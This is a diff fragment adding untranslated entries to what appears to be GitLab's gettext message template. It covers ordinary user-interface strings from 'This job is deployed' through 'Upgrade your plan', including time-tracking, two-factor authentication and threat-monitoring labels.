+msgstr ""
+
+msgid "This job is deployed to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is deployed to %{environmentLink}."
+msgstr ""
+
+msgid "This job is in pending state and is waiting to be picked by a runner"
+msgstr ""
+
+msgid "This job is performing tasks that must complete before it can start"
+msgstr ""
+
+msgid "This job is preparing to start"
+msgstr ""
+
+msgid "This job is waiting for resource: "
+msgstr ""
+
+msgid "This job requires a manual action"
+msgstr ""
+
+msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
+msgstr ""
+
+msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
+msgstr ""
+
+msgid "This license has already expired."
+msgstr ""
+
+msgid "This link points to external content"
+msgstr ""
+
+msgid "This may expose confidential information as the selected fork is in another namespace that can have other members."
+msgstr ""
+
+msgid "This means you can not push code until you create an empty repository or import existing one."
+msgstr ""
+
+msgid "This merge request does not have accessibility reports"
+msgstr ""
+
+msgid "This merge request is closed. To apply this suggestion, edit this file directly."
+msgstr ""
+
+msgid "This merge request is locked."
+msgstr ""
+
+msgid "This merge request is still a work in progress."
+msgstr ""
+
+msgid "This merge request was merged. To apply this suggestion, edit this file directly."
+msgstr ""
+
+msgid "This namespace has already been taken! Please choose another one."
+msgstr ""
+
+msgid "This only applies to repository indexing operations."
+msgstr ""
+
+msgid "This option is only available on GitLab.com"
+msgstr ""
+
+msgid "This page is unavailable because you are not allowed to read information across multiple projects."
+msgstr ""
+
+msgid "This page sends a payload. Go back to the events page to see a newly created event."
+msgstr ""
+
+msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
+msgstr ""
+
+msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
+msgstr ""
+
+msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{strongStart}Auto DevOps.%{strongEnd}"
+msgstr ""
+
+msgid "This pipeline was triggered by a schedule."
+msgstr ""
+
+msgid "This project"
+msgstr ""
+
+msgid "This project does not belong to a group and can therefore not make use of group Runners."
+msgstr ""
+
+msgid "This project does not have %{service_desk_link_start}Service Desk%{service_desk_link_end} enabled, so the user who created the issue will no longer receive email notifications about new activity."
+msgstr ""
+
+msgid "This project does not have a wiki homepage yet"
+msgstr ""
+
+msgid "This project has no active access tokens."
+msgstr ""
+
+msgid "This project is archived and cannot be commented on."
+msgstr ""
+
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
+msgid "This project path either does not exist or you do not have access."
+msgstr ""
+
+msgid "This project will be removed on %{date}"
+msgstr ""
+
+msgid "This project will be removed on %{date} since its parent group '%{parent_group_name}' has been scheduled for removal."
+msgstr ""
+
+msgid "This project will live in your group %{strong_open}%{namespace}%{strong_close}. A project is where you house your files (repository), plan your work (issues), publish your documentation (wiki), and so much more."
+msgstr ""
+
+msgid "This repository"
+msgstr ""
+
+msgid "This repository has never been checked."
+msgstr ""
+
+msgid "This repository is currently empty. A new Auto DevOps pipeline will be created after a new file has been pushed to a branch."
+msgstr ""
+
+msgid "This repository was last checked %{last_check_timestamp}. The check %{strong_start}failed.%{strong_end} See the 'repocheck.log' file for error messages."
+msgstr ""
+
+msgid "This repository was last checked %{last_check_timestamp}. The check passed."
+msgstr ""
+
+msgid "This runner will only run on pipelines triggered on protected branches"
+msgstr ""
+
+msgid "This setting can be overridden in each project."
+msgstr ""
+
+msgid "This setting will update the hostname that is used to generate private commit emails. %{learn_more}"
+msgstr ""
+
+msgid "This subscription is for"
+msgstr ""
+
+msgid "This suggestion already matches its content."
+msgstr ""
+
+msgid "This timeout will take precedence when lower than project-defined timeout and accepts a human readable time input language like \"1 hour\". Values without specification represent seconds."
+msgstr ""
+
+msgid "This user cannot be unlocked manually from GitLab"
+msgstr ""
+
+msgid "This user has no active %{type}."
+msgstr ""
+
+msgid "This user has no identities"
+msgstr ""
+
+msgid "This user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
+msgstr ""
+
+msgid "This variable can not be masked."
+msgstr ""
+
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "This will help us personalize your onboarding experience."
+msgstr ""
+
+msgid "This will redirect you to an external sign in page."
+msgstr ""
+
+msgid "This will remove the fork relationship between this project and %{fork_source}."
+msgstr ""
+
+msgid "This will remove the fork relationship between this project and other projects in the fork network."
+msgstr ""
+
+msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
+msgstr ""
+
+msgid "Thread to reply to cannot be found"
+msgstr ""
+
+msgid "Threat Monitoring"
+msgstr ""
+
+msgid "ThreatMonitoring|Anomalous Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|Application firewall not detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
+msgstr ""
+
+msgid "ThreatMonitoring|Container Network Policy"
+msgstr ""
+
+msgid "ThreatMonitoring|Container NetworkPolicies not detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Dropped Packets"
+msgstr ""
+
+msgid "ThreatMonitoring|Environment"
+msgstr ""
+
+msgid "ThreatMonitoring|No environments detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Operations Per Second"
+msgstr ""
+
+msgid "ThreatMonitoring|Overview"
+msgstr ""
+
+msgid "ThreatMonitoring|Packet Activity"
+msgstr ""
+
+msgid "ThreatMonitoring|Policies"
+msgstr ""
+
+msgid "ThreatMonitoring|Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|Show last"
+msgstr ""
+
+msgid "ThreatMonitoring|Something went wrong, unable to fetch environments"
+msgstr ""
+
+msgid "ThreatMonitoring|Something went wrong, unable to fetch statistics"
+msgstr ""
+
+msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
+msgstr ""
+
+msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
+msgstr ""
+
+msgid "ThreatMonitoring|Threat Monitoring"
+msgstr ""
+
+msgid "ThreatMonitoring|Threat Monitoring help page link"
+msgstr ""
+
+msgid "ThreatMonitoring|Time"
+msgstr ""
+
+msgid "ThreatMonitoring|To view this data, ensure you have configured an environment for this project and that at least one threat monitoring feature is enabled."
+msgstr ""
+
+msgid "ThreatMonitoring|Total Packets"
+msgstr ""
+
+msgid "ThreatMonitoring|Total Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|View documentation"
+msgstr ""
+
+msgid "ThreatMonitoring|Web Application Firewall"
+msgstr ""
+
+msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
+msgstr ""
+
+msgid "Throughput"
+msgstr ""
+
+msgid "Thursday"
+msgstr ""
+
+msgid "Time"
+msgstr ""
+
+msgid "Time based: Yes"
+msgstr ""
+
+msgid "Time before an issue gets scheduled"
+msgstr ""
+
+msgid "Time before an issue starts implementation"
+msgstr ""
+
+msgid "Time before enforced"
+msgstr ""
+
+msgid "Time between merge request creation and merge/close"
+msgstr ""
+
+msgid "Time estimate"
+msgstr ""
+
+msgid "Time from first comment to last commit"
+msgstr ""
+
+msgid "Time from first commit until first comment"
+msgstr ""
+
+msgid "Time from last commit to merge"
+msgstr ""
+
+msgid "Time in seconds"
+msgstr ""
+
+msgid "Time in seconds GitLab will wait for a response from the external service. When the service does not respond in time, access will be denied."
+msgstr ""
+
+msgid "Time of import: %{importTime}"
+msgstr ""
+
+msgid "Time remaining"
+msgstr ""
+
+msgid "Time spent"
+msgstr ""
+
+msgid "Time to merge"
+msgstr ""
+
+msgid "Time to subtract exceeds the total time spent"
+msgstr ""
+
+msgid "Time tracking"
+msgstr ""
+
+msgid "Time until first merge request"
+msgstr ""
+
+msgid "TimeTrackingEstimated|Est"
+msgstr ""
+
+msgid "TimeTracking|%{startTag}Spent: %{endTag}%{timeSpentHumanReadable}"
+msgstr ""
+
+msgid "TimeTracking|Estimated:"
+msgstr ""
+
+msgid "TimeTracking|Over by %{timeRemainingHumanReadable}"
+msgstr ""
+
+msgid "TimeTracking|Spent"
+msgstr ""
+
+msgid "TimeTracking|Time remaining: %{timeRemainingHumanReadable}"
+msgstr ""
+
+msgid "Timeago|%s days ago"
+msgstr ""
+
+msgid "Timeago|%s days remaining"
+msgstr ""
+
+msgid "Timeago|%s hours ago"
+msgstr ""
+
+msgid "Timeago|%s hours remaining"
+msgstr ""
+
+msgid "Timeago|%s minutes ago"
+msgstr ""
+
+msgid "Timeago|%s minutes remaining"
+msgstr ""
+
+msgid "Timeago|%s months ago"
+msgstr ""
+
+msgid "Timeago|%s months remaining"
+msgstr ""
+
+msgid "Timeago|%s seconds remaining"
+msgstr ""
+
+msgid "Timeago|%s weeks ago"
+msgstr ""
+
+msgid "Timeago|%s weeks remaining"
+msgstr ""
+
+msgid "Timeago|%s years ago"
+msgstr ""
+
+msgid "Timeago|%s years remaining"
+msgstr ""
+
+msgid "Timeago|1 day ago"
+msgstr ""
+
+msgid "Timeago|1 day remaining"
+msgstr ""
+
+msgid "Timeago|1 hour ago"
+msgstr ""
+
+msgid "Timeago|1 hour remaining"
+msgstr ""
+
+msgid "Timeago|1 minute ago"
+msgstr ""
+
+msgid "Timeago|1 minute remaining"
+msgstr ""
+
+msgid "Timeago|1 month ago"
+msgstr ""
+
+msgid "Timeago|1 month remaining"
+msgstr ""
+
+msgid "Timeago|1 week ago"
+msgstr ""
+
+msgid "Timeago|1 week remaining"
+msgstr ""
+
+msgid "Timeago|1 year ago"
+msgstr ""
+
+msgid "Timeago|1 year remaining"
+msgstr ""
+
+msgid "Timeago|Past due"
+msgstr ""
+
+msgid "Timeago|in %s days"
+msgstr ""
+
+msgid "Timeago|in %s hours"
+msgstr ""
+
+msgid "Timeago|in %s minutes"
+msgstr ""
+
+msgid "Timeago|in %s months"
+msgstr ""
+
+msgid "Timeago|in %s seconds"
+msgstr ""
+
+msgid "Timeago|in %s weeks"
+msgstr ""
+
+msgid "Timeago|in %s years"
+msgstr ""
+
+msgid "Timeago|in 1 day"
+msgstr ""
+
+msgid "Timeago|in 1 hour"
+msgstr ""
+
+msgid "Timeago|in 1 minute"
+msgstr ""
+
+msgid "Timeago|in 1 month"
+msgstr ""
+
+msgid "Timeago|in 1 week"
+msgstr ""
+
+msgid "Timeago|in 1 year"
+msgstr ""
+
+msgid "Timeago|just now"
+msgstr ""
+
+msgid "Timeago|right now"
+msgstr ""
+
+msgid "Timeout"
+msgstr ""
+
+msgid "Timeout connecting to the Google API. Please try again."
+msgstr ""
+
+msgid "Time|hr"
+msgid_plural "Time|hrs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Time|min"
+msgid_plural "Time|mins"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Time|s"
+msgstr ""
+
+msgid "Tip:"
+msgstr ""
+
+msgid "Title"
+msgstr ""
+
+msgid "Title:"
+msgstr ""
+
+msgid "Titles and Descriptions"
+msgstr ""
+
+msgid "To"
+msgstr ""
+
+msgid "To %{link_to_help} of your domain, add the above key to a TXT record within to your DNS configuration."
+msgstr ""
+
+msgid "To Do"
+msgstr ""
+
+msgid "To GitLab"
+msgstr ""
+
+msgid "To access this domain create a new DNS record"
+msgstr ""
+
+msgid "To add an SSH key you need to %{generate_link_start}generate one%{link_end} or use an %{existing_link_start}existing key%{link_end}."
+msgstr ""
+
+msgid "To add the entry manually, provide the following details to the application on your phone."
+msgstr ""
+
+msgid "To connect GitHub repositories, you can use a %{personal_access_token_link}. When you create your Personal Access Token, you will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to connect."
+msgstr ""
+
+msgid "To connect GitHub repositories, you first need to authorize GitLab to access the list of your GitHub repositories."
+msgstr ""
+
+msgid "To connect GitHub repositories, you first need to authorize GitLab to access the list of your GitHub repositories:"
+msgstr ""
+
+msgid "To connect an SVN repository, check out %{svn_link}."
+msgstr ""
+
+msgid "To define internal users, first enable new users set to external"
+msgstr ""
+
+msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
+msgstr ""
+
+msgid "To further protect your account, consider configuring a two-factor authentication method: %{mfa_link}."
+msgstr ""
+
+msgid "To get started you enter your FogBugz URL and login information below. In the next steps, you'll be able to map users and select the projects you want to import."
+msgstr ""
+
+msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
+msgstr ""
+
+msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
+msgstr ""
+
+msgid "To help improve GitLab and its user experience, GitLab will periodically collect usage information."
+msgstr ""
+
+msgid "To help improve GitLab, we would like to periodically collect usage information. This can be changed at any time in %{settings_link_start}Settings%{link_end}. %{info_link_start}More Information%{link_end}"
+msgstr ""
+
+msgid "To import an SVN repository, check out %{svn_link}."
+msgstr ""
+
+msgid "To keep this project going, create a new issue"
+msgstr ""
+
+msgid "To keep this project going, create a new merge request"
+msgstr ""
+
+msgid "To link Sentry to GitLab, enter your Sentry URL and Auth Token."
+msgstr ""
+
+msgid "To move or copy an entire GitLab project from another GitLab installation to this one, navigate to the original project's settings page, generate an export file, and upload it here."
+msgstr ""
+
+msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
+msgstr ""
+
+msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgstr ""
+
+msgid "To preserve performance only %{strong_open}%{display_size} of %{real_size}%{strong_close} files are displayed."
+msgstr ""
+
+msgid "To protect this issue's confidentiality, %{forkLink} and set the fork's visibility to private."
+msgstr ""
+
+msgid "To protect this issue's confidentiality, a private fork of this project was selected."
+msgstr ""
+
+msgid "To receive alerts from manually configured Prometheus services, add the following URL and Authorization key to your Prometheus webhook config file. Learn more about %{linkStart}configuring Prometheus%{linkEnd} to send alerts to GitLab."
+msgstr ""
+
+msgid "To see all the user's personal access tokens you must impersonate them first."
+msgstr ""
+
+msgid "To see this project's operational details, %{linkStart}upgrade its group plan to Silver%{linkEnd}. You can also remove the project from the dashboard."
+msgstr ""
+
+msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
+msgstr ""
+
+msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
+msgstr ""
+
+msgid "To set up this service:"
+msgstr ""
+
+msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
+msgstr ""
+
+msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
+msgstr ""
+
+msgid "To start serving your jobs you can add Runners to your group"
+msgstr ""
+
+msgid "To start serving your jobs you can either add specific Runners to your project or use shared Runners"
+msgstr ""
+
+msgid "To unsubscribe from this issue, please paste the following link into your browser:"
+msgstr ""
+
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
+msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgstr ""
+
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
+msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
+msgstr ""
+
+msgid "To widen your search, change or remove filters above"
+msgstr ""
+
+msgid "To widen your search, change or remove filters."
+msgstr ""
+
+msgid "To-Do"
+msgstr ""
+
+msgid "To-Do List"
+msgstr ""
+
+msgid "To-do item successfully marked as done."
+msgstr ""
+
+msgid "Today"
+msgstr ""
+
+msgid "Toggle Markdown preview"
+msgstr ""
+
+msgid "Toggle Sidebar"
+msgstr ""
+
+msgid "Toggle all threads"
+msgstr ""
+
+msgid "Toggle backtrace"
+msgstr ""
+
+msgid "Toggle collapse"
+msgstr ""
+
+msgid "Toggle comments for this file"
+msgstr ""
+
+msgid "Toggle commit description"
+msgstr ""
+
+msgid "Toggle commit list"
+msgstr ""
+
+msgid "Toggle dropdown"
+msgstr ""
+
+msgid "Toggle emoji award"
+msgstr ""
+
+msgid "Toggle navigation"
+msgstr ""
+
+msgid "Toggle project"
+msgstr ""
+
+msgid "Toggle sidebar"
+msgstr ""
+
+msgid "Toggle the Performance Bar"
+msgstr ""
+
+msgid "Toggle this dialog"
+msgstr ""
+
+msgid "Toggle thread"
+msgstr ""
+
+msgid "ToggleButton|Toggle Status: OFF"
+msgstr ""
+
+msgid "ToggleButton|Toggle Status: ON"
+msgstr ""
+
+msgid "Toggled :%{name}: emoji award."
+msgstr ""
+
+msgid "Toggles :%{name}: emoji award."
+msgstr ""
+
+msgid "Token valid until revoked"
+msgstr ""
+
+msgid "Tomorrow"
+msgstr ""
+
+msgid "Too many changes to show."
+msgstr ""
+
+msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgstr ""
+
+msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgstr ""
+
+msgid "Topics (optional)"
+msgstr ""
+
+msgid "Total"
+msgstr ""
+
+msgid "Total Contributions"
+msgstr ""
+
+msgid "Total Score"
+msgstr ""
+
+msgid "Total artifacts size: %{total_size}"
+msgstr ""
+
+msgid "Total cores (CPUs)"
+msgstr ""
+
+msgid "Total issues"
+msgstr ""
+
+msgid "Total memory (GB)"
+msgstr ""
+
+msgid "Total test time for all commits/merges"
+msgstr ""
+
+msgid "Total weight"
+msgstr ""
+
+msgid "Total: %{total}"
+msgstr ""
+
+msgid "TotalRefCountIndicator|1000+"
+msgstr ""
+
+msgid "Trace"
+msgstr ""
+
+msgid "Tracing"
+msgstr ""
+
+msgid "Track groups of issues that share a theme, across projects and milestones"
+msgstr ""
+
+msgid "Track time with quick actions"
+msgstr ""
+
+msgid "Track your GitLab projects with GitLab for Slack."
+msgstr ""
+
+msgid "Track your project with Audit Events."
+msgstr ""
+
+msgid "Transfer"
+msgstr ""
+
+msgid "Transfer ownership"
+msgstr ""
+
+msgid "Transfer project"
+msgstr ""
+
+msgid "TransferGroup|Cannot transfer group to one of its subgroup."
+msgstr ""
+
+msgid "TransferGroup|Cannot update the path because there are projects under this group that contain Docker images in their Container Registry. Please remove the images from your projects first and try again."
+msgstr ""
+
+msgid "TransferGroup|Database is not supported."
+msgstr ""
+
+msgid "TransferGroup|Group contains projects with NPM packages."
+msgstr ""
+
+msgid "TransferGroup|Group is already a root group."
+msgstr ""
+
+msgid "TransferGroup|Group is already associated to the parent group."
+msgstr ""
+
+msgid "TransferGroup|The parent group already has a subgroup with the same path."
+msgstr ""
+
+msgid "TransferGroup|Transfer failed: %{error_message}"
+msgstr ""
+
+msgid "TransferGroup|You don't have enough permissions."
+msgstr ""
+
+msgid "TransferProject|Cannot move project"
+msgstr ""
+
+msgid "TransferProject|Please select a new namespace for your project."
+msgstr ""
+
+msgid "TransferProject|Project cannot be transferred, because tags are present in its container registry"
+msgstr ""
+
+msgid "TransferProject|Project with same name or path in target namespace already exists"
+msgstr ""
+
+msgid "TransferProject|Root namespace can't be updated if project has NPM packages"
+msgstr ""
+
+msgid "TransferProject|Transfer failed, please contact an admin."
+msgstr ""
+
+msgid "Tree view"
+msgstr ""
+
+msgid "Trending"
+msgstr ""
+
+msgid "Trials|Go back to GitLab"
+msgstr ""
+
+msgid "Trials|Skip Trial (Continue with Free Account)"
+msgstr ""
+
+msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start a Gold trial'"
+msgstr ""
+
+msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgstr ""
+
+msgid "Trigger"
+msgstr ""
+
+msgid "Trigger cluster reindexing"
+msgstr ""
+
+msgid "Trigger manual job"
+msgstr ""
+
+msgid "Trigger pipelines for mirror updates"
+msgstr ""
+
+msgid "Trigger pipelines when branches or tags are updated from the upstream repository. Depending on the activity of the upstream repository, this may greatly increase the load on your CI runners. Only enable this if you know they can handle the load."
+msgstr ""
+
+msgid "Trigger removed."
+msgstr ""
+
+msgid "Trigger repository check"
+msgstr ""
+
+msgid "Trigger this manual action"
+msgstr ""
+
+msgid "Trigger token:"
+msgstr ""
+
+msgid "Trigger variables:"
+msgstr ""
+
+msgid "Trigger was created successfully."
+msgstr ""
+
+msgid "Trigger was successfully updated."
+msgstr ""
+
+msgid "Triggerer"
+msgstr ""
+
+msgid "Triggers can force a specific branch or tag to get rebuilt with an API call. These tokens will impersonate their associated user including their access to projects and their project permissions."
+msgstr ""
+
+msgid "Troubleshoot and monitor your application with tracing"
+msgstr ""
+
+msgid "Try again"
+msgstr ""
+
+msgid "Try again?"
+msgstr ""
+
+msgid "Try all GitLab has to offer for 30 days."
+msgstr ""
+
+msgid "Try changing or removing filters."
+msgstr ""
+
+msgid "Try to fork again"
+msgstr ""
+
+msgid "Try to keep the first line under 52 characters and the others under 72."
+msgstr ""
+
+msgid "Try using a different search term to find the file you are looking for."
+msgstr ""
+
+msgid "Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now."
+msgstr ""
+
+msgid "Tuesday"
+msgstr ""
+
+msgid "Turn Off"
+msgstr ""
+
+msgid "Turn On"
+msgstr ""
+
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
+msgid "Turn on Service Desk"
+msgstr ""
+
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
+msgid "Twitter"
+msgstr ""
+
+msgid "Two-Factor Authentication"
+msgstr ""
+
+msgid "Two-Factor Authentication code"
+msgstr ""
+
+msgid "Two-factor Authentication"
+msgstr ""
+
+msgid "Two-factor Authentication Recovery codes"
+msgstr ""
+
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
+msgid "Type"
+msgstr ""
+
+msgid "Type/State"
+msgstr ""
+
+msgid "U2F Devices (%{length})"
+msgstr ""
+
+msgid "U2F only works with HTTPS-enabled websites. Contact your administrator for more details."
+msgstr ""
+
+msgid "URL"
+msgstr ""
+
+msgid "URL is required"
+msgstr ""
+
+msgid "URL must start with %{codeStart}http://%{codeEnd}, %{codeStart}https://%{codeEnd}, or %{codeStart}ftp://%{codeEnd}"
+msgstr ""
+
+msgid "URL of the external Spam Check endpoint"
+msgstr ""
+
+msgid "URL of the external storage that will serve the repository static objects (e.g. archives, blobs, ...)."
+msgstr ""
+
+msgid "URL or request ID"
+msgstr ""
+
+msgid "UTC"
+msgstr ""
+
+msgid "Unable to apply suggestions to a deleted line."
+msgstr ""
+
+msgid "Unable to build Slack link."
+msgstr ""
+
+msgid "Unable to collect CPU info"
+msgstr ""
+
+msgid "Unable to collect memory info"
+msgstr ""
+
+msgid "Unable to connect to Elasticsearch"
+msgstr ""
+
+msgid "Unable to connect to Prometheus server"
+msgstr ""
+
+msgid "Unable to connect to server: %{error}"
+msgstr ""
+
+msgid "Unable to connect to the Jira instance. Please check your Jira integration configuration."
+msgstr ""
+
+msgid "Unable to convert Kubernetes logs encoding to UTF-8"
+msgstr ""
+
+msgid "Unable to fetch unscanned projects"
+msgstr ""
+
+msgid "Unable to fetch vulnerable projects"
+msgstr ""
+
+msgid "Unable to find Jira project to import data from."
+msgstr ""
+
+msgid "Unable to generate new instance ID"
+msgstr ""
+
+msgid "Unable to load commits. Try again later."
+msgstr ""
+
+msgid "Unable to load file contents. Try again later."
+msgstr ""
+
+msgid "Unable to load the diff"
+msgstr ""
+
+msgid "Unable to load the diff. %{button_try_again}"
+msgstr ""
+
+msgid "Unable to load the merge request widget. Try reloading the page."
+msgstr ""
+
+msgid "Unable to resolve"
+msgstr ""
+
+msgid "Unable to save iteration. Please try again"
+msgstr ""
+
+msgid "Unable to save your changes. Please try again."
+msgstr ""
+
+msgid "Unable to schedule a pipeline to run immediately"
+msgstr ""
+
+msgid "Unable to sign you in to the group with SAML due to \"%{reason}\""
+msgstr ""
+
+msgid "Unable to suggest a path. Please refresh and try again."
+msgstr ""
+
+msgid "Unable to update label prioritization at this time"
+msgstr ""
+
+msgid "Unable to update this epic at this time."
+msgstr ""
+
+msgid "Unable to update this issue at this time."
+msgstr ""
+
+msgid "Unarchive project"
+msgstr ""
+
+msgid "Unarchiving the project will restore people's ability to make changes to it. The repository can be committed to, and issues, comments, and other entities can be created. %{strong_start}Once active, this project shows up in the search and on the dashboard.%{strong_end}"
+msgstr ""
+
+msgid "Unassign from commenting user"
+msgstr ""
+
+msgid "Unassigned"
+msgstr ""
+
+msgid "Unblock"
+msgstr ""
+
+msgid "Undo"
+msgstr ""
+
+msgid "Undo Ignore"
+msgstr ""
+
+msgid "Undo ignore"
+msgstr ""
+
+msgid "Unfortunately, your email message to GitLab could not be processed."
+msgstr ""
+
+msgid "Uninstall"
+msgstr ""
+
+msgid "Uninstalling"
+msgstr ""
+
+msgid "Units|ms"
+msgstr ""
+
+msgid "Units|s"
+msgstr ""
+
+msgid "Unknown"
+msgstr ""
+
+msgid "Unknown Error"
+msgstr ""
+
+msgid "Unknown cache key"
+msgstr ""
+
+msgid "Unknown encryption strategy: %{encrypted_strategy}!"
+msgstr ""
+
+msgid "Unknown format"
+msgstr ""
+
+msgid "Unknown response text"
+msgstr ""
+
+msgid "Unlimited"
+msgstr ""
+
+msgid "Unlock"
+msgstr ""
+
+msgid "Unlock the discussion"
+msgstr ""
+
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
+
+msgid "Unlocked"
+msgstr ""
+
+msgid "Unlocked the discussion."
+msgstr ""
+
+msgid "Unlocks the discussion."
+msgstr ""
+
+msgid "Unmarked this %{noun} as Work In Progress."
+msgstr ""
+
+msgid "Unmarks this %{noun} as Work In Progress."
+msgstr ""
+
+msgid "Unreachable"
+msgstr ""
+
+msgid "Unrecognized cluster type"
+msgstr ""
+
+msgid "Unresolve"
+msgstr ""
+
+msgid "Unresolve thread"
+msgstr ""
+
+msgid "Unresolved"
+msgstr ""
+
+msgid "UnscannedProjects|15 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|30 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|5 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|60 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|Default branch scanning by project"
+msgstr ""
+
+msgid "UnscannedProjects|Out of date"
+msgstr ""
+
+msgid "UnscannedProjects|Project scanning"
+msgstr ""
+
+msgid "UnscannedProjects|Untested"
+msgstr ""
+
+msgid "UnscannedProjects|Your projects are up do date! Nice job!"
+msgstr ""
+
+msgid "Unschedule job"
+msgstr ""
+
+msgid "Unstar"
+msgstr ""
+
+msgid "Unsubscribe"
+msgstr ""
+
+msgid "Unsubscribe at group level"
+msgstr ""
+
+msgid "Unsubscribe at project level"
+msgstr ""
+
+msgid "Unsubscribe from %{type}"
+msgstr ""
+
+msgid "Unsubscribed from this %{quick_action_target}."
+msgstr ""
+
+msgid "Unsubscribes from this %{quick_action_target}."
+msgstr ""
+
+msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
+msgstr ""
+
+msgid "Until"
+msgstr ""
+
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
+msgid "Unverified"
+msgstr ""
+
+msgid "Up to date"
+msgstr ""
+
+msgid "Upcoming"
+msgstr ""
+
+msgid "Upcoming Release"
+msgstr ""
+
+msgid "Update"
+msgstr ""
+
+msgid "Update %{sourcePath} file"
+msgstr ""
+
+msgid "Update all"
+msgstr ""
+
+msgid "Update approval rule"
+msgstr ""
+
+msgid "Update approvers"
+msgstr ""
+
+msgid "Update failed"
+msgstr ""
+
+msgid "Update failed. Please try again."
+msgstr ""
+
+msgid "Update it"
+msgstr ""
+
+msgid "Update iteration"
+msgstr ""
+
+msgid "Update now"
+msgstr ""
+
+msgid "Update variable"
+msgstr ""
+
+msgid "Update your bookmarked URLs as filtered/sorted branches URL has been changed."
+msgstr ""
+
+msgid "Update your group name, description, avatar, and visibility."
+msgstr ""
+
+msgid "Update your project name, topics, description and avatar."
+msgstr ""
+
+msgid "UpdateProject|Cannot rename project because it contains container registry tags!"
+msgstr ""
+
+msgid "UpdateProject|Could not set the default branch"
+msgstr ""
+
+msgid "UpdateProject|New visibility level not allowed!"
+msgstr ""
+
+msgid "UpdateProject|Project could not be updated!"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Error moving repository storage for %{project_full_path} - %{message}"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Failed to verify %{type} repository checksum from %{old} to %{new}"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Timeout waiting for %{type} repository pushes"
+msgstr ""
+
+msgid "Updated"
+msgstr ""
+
+msgid "Updated %{updated_at} by %{updated_by}"
+msgstr ""
+
+msgid "Updated to %{linkStart}chart v%{linkEnd}"
+msgstr ""
+
+msgid "Updates"
+msgstr ""
+
+msgid "Updating"
+msgstr ""
+
+msgid "Upgrade plan to unlock Canary Deployments feature"
+msgstr ""
+
+msgid "Upgrade your plan"
+msgstr ""
+
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
+
